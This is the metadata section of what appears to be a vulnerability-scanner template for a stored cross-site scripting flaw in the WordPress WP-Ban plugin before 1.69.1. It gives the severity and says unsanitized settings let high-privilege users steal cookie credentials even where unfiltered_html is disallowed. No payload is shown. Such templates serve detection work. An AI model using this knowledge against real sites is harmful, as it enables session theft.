info:
  name: WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting
  author: Hardik-Solanki
  severity: medium
  description: |
    WordPress WP-Ban plugin before 1.69.1 contains a stored cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, which can allow high-privilege users to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be exploited even when the unfiltered_html capability is disallowed, for example in multisite setup.
